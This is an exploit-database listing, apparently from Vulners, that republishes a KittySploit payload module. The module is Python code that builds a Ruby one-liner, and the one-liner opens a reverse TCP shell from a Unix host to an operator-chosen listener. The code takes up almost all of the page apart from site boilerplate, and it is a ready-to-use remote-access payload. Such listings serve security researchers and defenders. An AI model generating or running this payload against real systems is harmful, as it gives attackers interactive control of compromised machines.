Lucene search
+L

Unix Command Shell, Reverse TCP (via Ruby)

🗓️ 29 Jun 2026 12:21:06Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Ruby TCPSocket payload creates a reverse shell on Unix systems.

Refs
Code
from kittysploit import *


class Module(Payload):

    __info__ = {
        'name': 'Unix Command Shell, Reverse TCP (via Ruby)',
        'description': 'Connect back and create a command shell via Ruby TCPSocket',
        'author': 'KittySploit Team',
        'category': PayloadCategory.CMD,
        'arch': Arch.OTHER,
        'platform': Platform.UNIX,
        'listener': 'listeners/multi/reverse_tcp',
        'handler': Handler.REVERSE,
        'session_type': SessionType.SHELL
    }

    lhost = OptString('127.0.0.1', 'Connect to IP address', True)
    lport = OptPort(4444, 'Connect to port', True)
    shell_binary = OptString('/bin/sh', 'The system shell in use', True, True)
    ruby_binary = OptString('ruby', 'Ruby binary', True)
    encoder = OptString('', 'Encoder', False, True)

    def generate(self):
        shell = str(self.shell_binary).replace("\\", "\\\\").replace("'", "\\'")
        code = (
            "require 'socket';"
            f"s=TCPSocket.new('{self.lhost}',{int(self.lport)});"
            "STDIN.reopen(s);STDOUT.reopen(s);STDERR.reopen(s);"
            f"exec('{shell}','-i')"
        )
        escaped = code.replace("'", "'\"'\"'")
        return f"{self.ruby_binary} -e '{escaped}'"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2026 12:21Current
6Medium risk
Vulners AI Score6
2